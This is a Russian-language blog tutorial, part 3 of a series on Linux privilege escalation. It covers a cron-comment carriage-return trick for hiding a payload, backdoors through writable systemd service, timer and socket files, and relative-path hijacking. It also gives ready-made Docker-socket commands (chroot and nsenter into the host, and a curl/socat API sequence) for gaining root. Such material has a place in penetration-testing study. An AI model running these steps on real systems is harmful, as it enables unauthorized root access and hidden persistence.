Повышение привилегий в ОС Linux, ч.3

Повышение привилегий в ОС Linux, ч.3

E7|E1tex


Всем привет! В прошлой части мы обсудили немало интересных уязвимостей и способов их перечисления. Не буду затягивать, 3ч. повышения привилегий в ОС Линукс, поехали! В этой статье тебя ждут не менее эффективные способы повысить свои привилегии в системе.

CRON Задачи

В прошлой части мы закончили на задачах CRON, из полезного я бы еще хотел упомянуть способ сокрытия вредоносной части кода в CRON конфиге. Для этого в комментариях внутри конфига(если они есть, если нет- можно сделать свой :>) вписываем наш код. Но так ничего не будет работать, вся фишка заключается в возврате каретки - \r, соответственно пример такого комментария будет таким:

#Какой-то комментарий\r* * * * * echo "Hacker_payload"


На этом наше краткое знакомство со службой CRON пока что закончилось. Следующая тема на очереди - службы.

Службы

Файл .services с возможностью записи

Если файл .services имеет возможность записи, мы можем модифицировать его таким образом, чтобы когда служба будет запущена в следующий раз(например при ребуте), выполнился наш скрипт, который мы заранее загрузили в систему, например:

ExecStart=/any_dir/hacker_script.sh


Бинарники с возможностью записи

Не стоит забывать о проверке бинарников, которые исполняются службами, в некоторых случаях админы забывают о правильной конфигурации таковых, особенно если бинарник кастомный. После изменения файла под наш бэкдор, ждем следующего исполнения бинарника и наш код выполнен, вуаля.


Относительные пути systemd

Вы можете увидеть PATH используемый systemd следующей командой:

systemctl show-environment

Если вы можете записать что-нибудь в одну из папок, которая содержится в пути, это можно использовать для повышения наших привилегий. Вам нужно искать именно относительные пути:

ExecStart=any-server(относительный путь)
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"

Напомню, абсолютные пути указывают положение файла или директории относительно директории root, а относительные пути указывают положение файла или директории относительно ващего текущего местоположения в системе. Они не начинаются со слэша!


Эксплуатация уязвимости происходит посредством создания исполняемого файла с тем же именем, что и двоичный файл внутри относительного пути, который доступен для записи в systemd PATH. Когда службе будет предложено выполнить уязвимое действие, наш бэкдор будет выполнен.


Таймеры

Таймер - это systemd юнит файлы формата .timer, они в свою очередь контролируют исполнение фалов .service. Некоторые системы используют таймер, как альтернативу крон задачам. Перечислить таймеры можно командой:

systemctl list-timers --all


Таймеры с возможностью записи

Если вы можете менять таймер, вы можете указать в таймере выполнение уже существующих элементов systemd.unit (например, .service или .target)

Unit=backdoor.service

Таким образом, чтобы нам удалось использовать данную уязвимость вам нужно:

  1. Найти какой-нибудь модуль systemd (например, .service), который исполняет доступный для записи двоичный файл.
  2. Найти какой-нибудь модуль systemd, который исполняет файл с относительным путем, и у вас есть права на запись в PATH.


С таймерами пока закончили, переходим к самому интересному - Sockets


Sockets


UDS - Unix Domain Socket. Сокеты в контексте юникс-подобных систем позволяют двум разным процессам взаимодейстовать друг с другом на одной машинке, или на разных, если речь идет о клиент-серверных приложениях.

Сокеты могут конфигурироваться через .socket файлы. В данных .socket файлах можно изменять некоторые интересные параметры:

  1. ListenStream, ListenDatagram, ListenSequentialPacket, ListenFIFO, ListenSpecial, ListenNetlink, ListenMessageQueue, ListenUSBFunction: Эти параметры разные, но все они, грубо говоря, определяют где мы будем слушать наши сокеты(например путь AF_UNIX сокет файла, IPv4/6, прослушиваемый порт, и.т.д.)
  2. Accept: этот параметр принимает boolean аргумент(True/False). Если True, экземпляр службы будет создаваться для каждого входящего соединения, а передается ему только сокет-соединение. При значении False все прослушиваемые сокеты сами передаются запущенному сервисному модулю, который создается один для всех сокет-подключений. По умолчанию - False.
  3. ExecStartPre, ExecStartPost: принимает за аргумент одну или более командных строк, которые выполняются до или после создания и привязки прослушиваемых сокетов.
  4. ExecStopPre, ExecStopPost: дополнительные команды, которые выполняются до или после закрытия и удаления прослушивающих сокетов.


.socket файлы с возможностью записи


Если вы нашли такой файл, вы можете добавить в начало [Socket] блока свой параметр, например ExecStartPost=/home/parrot/sys/tmp/hacker_backdoor, в таком случае наш бэкдор поднимется после создания и привязки сокетов.

*скорее всего придется подождать до ребута машинки*

Так же если вы встретите какой-нибудь сокет с возможностью записи(речь идет не об .socket файлах, а об Юникс Сокетах), вы можете подключиться по этому сокету. Перечислить Юникс Сокеты можно командой:

netstat -a -p --unix


Подключиться к сокетам можно с помощью netcat:

nc -U /tmp/socket #UNIX-domain stream socket
nc -uU /tmp/socket #UNIX-domain datagram socket


HTTP Сокеты


Помните, что некоторые сокеты могут прослушивать и улавливать HTTP реквесты, такие сокеты можно перечислить командой:

curl --max-time 2 --unix-socket /pat/to/socket/files http:/index


Docker Сокеты с возможностью записи


По умолчанию докер сокеты можно найти по пути /var/run/docker.sock, обычно они доступны для записи только для рута и юзеров докер-группы, но не исключено, что при конфигурации была допущена ошибка, или вы зашли под юзером, который имеет права на запись. В таком случае следующие команды повысят привилегии:

docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh


Использование docker web API без docker пакетов

Если у вас есть доступ к докер сокетам, но вы не можете использовать бинарник докера, вы можете использовать веб АПИ совместно с курлом.

Пример команд, которые использую докер-контейнер чтобы смонтировать корневую папку хоста и использует socat для выполнения команд в новом докер-контейнере:

curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start


После успешного выполнения команд нам остается только подключиться к контейнеру по socat, пример:

socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp


Бэкдор готов.

Если вы находитесь в группе docker, у вас есть намного больше возможностей для повышений привилегий. Но эту тему я распишу поподробней уже в следующей статье.

Всем спасибо за реакции, надеюсь эта статья была полезна для вас! Еще увидимся!


Report Page